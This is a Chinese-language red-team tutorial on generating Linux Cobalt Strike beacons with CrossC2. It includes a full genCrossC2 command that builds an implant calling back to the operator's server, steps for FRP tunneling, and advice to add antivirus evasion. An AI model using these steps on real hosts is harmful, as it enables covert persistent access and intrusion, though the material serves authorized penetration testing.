需求背景

在我们做红队攻防演练时,拿下Linux的主机后,往往需要做定时任务来反弹SHELL,然后根据需要做隧道,这样步骤多不说,还很麻烦,每次操作都要麻烦半天,所以我们需要一个,随时可以临时做隧道,且可以持久化的东西,它便是CS木马!而常规CS,只支持Windows马,不支持Linux。

项目地址

https://github.com/gloxec/CrossC2

上线步骤

CS客户端

在项目地址下载windows相关所需依赖,第一个文件为CS的插件,第二个为插件的拓展包,第三个便是windows环境下插件的依赖了

解压后统一放在一个文件夹,如下图,拓展包自己挑个地方独立放

将cna文件的内容修改为以下内容

打开CS客户端连接后,导入相关脚本。我导入的还有拓展包的脚本(大用),各位请按需导入

新建HTTPS监听器,客户端就配置完成了

CS服务端

从项目地址下载Linux依赖到服务器上

放在CS根目录下,因为.cobaltstrike.beacon_keys文件在根目录下,没有的请找到相关文件,这个密钥是关键

2024-02-02-rqnowknk.png给文件赋予执行权限后,进行执行

./genCrossC2.Linux 服务端IP地址 44311 ./.cobaltstrike.beacon_keys null Linux x64 /tmp/test      # 44311是在客户端生成的监听器设置的端口,基本都是照着客户端生成的配置,最后面是生成木马的路径

生成木马成功

测试上线结果

找个同事VPS进行测试

上线成功,并执行命令成功

拓展

安装了拓展包后,以FRP拓展为例

FRPS服务端使用命令监听端口、配置连接Token(FRP如果服务端是使用配置文件监听,那客户端也必须要配置文件才能连接,由于拓展是通过命令连接的,没法更改,所以就只能迁就一下了。如果隧道建立不成功很大原因可能就是这个步骤出现问题)

CS客户端右键使用FRP拓展

按照信息进行填写

看到以下信息便是建立隧道成功

使用profixer连接隧道,连接成功。接下来就看大佬各显神通的时候了

小结

  • 不建议使用客户端生成木马,虽然网上教程很多都是从Windows客户端生成,但是会踩坑,各种缺依赖,由于项目比较老,使用的很多依赖都是比较老的,除非很有耐心去补依赖,不然还是推荐在服务端进行生成。

  • 有能力的做做免杀,否则还是有可能被安全设备拦截的。

  • 拓展包还有各种扫描功能,待挖掘⛏️